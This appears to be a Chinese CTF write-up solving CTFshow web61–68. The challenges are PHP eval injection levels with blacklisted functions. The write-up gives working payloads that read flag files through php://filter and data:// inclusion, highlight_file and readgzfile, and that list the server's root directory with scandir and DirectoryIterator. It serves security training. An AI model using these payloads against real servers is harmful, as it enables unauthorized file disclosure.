CTFshow系列——命令执行web61-68
本篇文章介绍了不同了方法进行题目的解析以及原因讲解。
文章目录
- Web61
- 尝试了一下,被过滤的payload如下:
- 所以,根据上述思路,这里尝试过的payload为:
- Web62(同Web61)
- Web63(同Web62)
- Web64(同Web63)
- Web65(同Web64)
- Web66(新知识点)
- 失败的payload
- 知识点
- 新思路:PHP原生类可遍历目录
- Web67(同Web66)
- Web68(新知识)
- 总结
Web61
命令执行,突破禁用函数.先看下代码:
<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
我们随便尝试了payload,发现file_get_contents()函数还被过滤了(又损失一员大酱)
尝试了一下,被过滤的payload如下:
c=echo file_get_contents('flag.php');
c=readfile('flag.php');# 后面会解释
c=rename("flag.php","out2.txt");
c=copy("flag.php","out1.txt");
所以,根据上述思路,这里尝试过的payload为:
c=highlight_file('flag.php');
c=echo highlight_file('flag.php');# payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
# 伪协议
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "data://text/plain,<?php show_source('flag.php'); ?>";# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
当然,之前说的额外方法是不是也能用?
copy函数
被过滤了,无法使用rename函数
也被过滤了,无法使用
Web62(同Web61)
还是先看代码:
<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
尝试了一下,发现并未变化,继续用Web61的payload:
(这里就不显示了,参照上一题;)
Web63(同Web62)
<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
没有什么不同,参照Web62关的payload;
Web64(同Web63)
<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
没有什么不同,参照Web63关的payload;
(嗯?这回答我好像在哪见过?)
# payload:
c=show_source('flag.php');
这个不能算多,因为放到上面几关一样能用,只不过是我忘了而已;
Web65(同Web64)
同理,参照Web64关的payload;
Web66(新知识点)
好了,刷了这么多分,相信也厌倦了,这关开始就有点不同了:
<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
失败的payload
尝试过后,我们发现常用的函数都被过滤掉了:
show_source()
highlight_file()
而php伪协议的结果也显示乱码:(中文才会乱码)
不出意外,应该就是:“秀秀得了,这次不在这里”
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
知识点
但是终究还是有成功的:
# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
那么除此之外,我们还有什么别的办法吗?
答:有的,那是肯定的;
要想得到flag,首先得知道文件所在的位置:
var_dump(scandir("/"));
- scandir(“/”):scandir() 函数用于扫描指定目录并返回目录中的文件和子目录列表。“/” 表示服务器的根目录(在 Linux 系统中是根目录,Windows 系统中可能是当前磁盘根目录)。
- var_dump():用于打印变量的详细信息,包括数据类型、长度和值。
- 整体作用:扫描服务器根目录下的所有文件和文件夹,并以详细格式(包含数据类型和长度)输出结果。
print_r('/');
- print_r() 是 PHP 中用于打印变量的函数,通常用于打印数组或对象的结构,但也可以打印普通变量。
- 这里参数是字符串 ‘/’,所以会直接输出字符 /。
- 整体作用:简单输出一个斜杠字符,没有实际的文件系统扫描功能,只是输出字符串本身。
var_export(scandir('/'));
- 同样调用 scandir(‘/’) 扫描服务器根目录,获取文件和目录列表。
- var_export() 函数用于输出或返回一个变量的字符串表示(类似 PHP 代码的格式),适合用于将变量结构以可执行的 PHP 代码形式展示。
- 整体作用:扫描服务器根目录,并以 PHP 代码格式的字符串形式输出目录列表(可以直接作为 PHP 代码使用)。
所以,我们首先可以查看文件所在位置究竟在何处:
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));
那我们要怎么查看flag.txt文件呢?
嗯?你敢说这种话,我之前写的文章白看了?,真得控制你了
# payload
c=highlight_file('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
新思路:PHP原生类可遍历目录
这种方法也是好方法,虽然我也是第一次遇到。
# payload
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)
解码后结果显示:
Web67(同Web66)
尝试过了,一模一样
# 查看目录
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));# payload
c=highlight_file('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP类遍历目录
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)
没什么好说的,直接看payload;
Web68(新知识)
老样子。。。我代码呢?
尝试了一下发现查看目录还是能够正常进行:
# 查看目录
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));
那highlight_file()
函数被过滤了,我们要如何查看flag文件呢?
经过我的尝试,发现最有用的还是文件包含的手法:
- 在命令执行的题目,做文件包含吗,有意思。
# payload
include('/flag.txt'); // 直接包含文件
require_once('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP类遍历目录
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)
还有新函数c=readgzfile();
,我也是看了WP才知道这个函数:
c=readgzfile("/flag.txt");
总结
还是那句话,好好学习沉淀,终究会达到你想要的目标。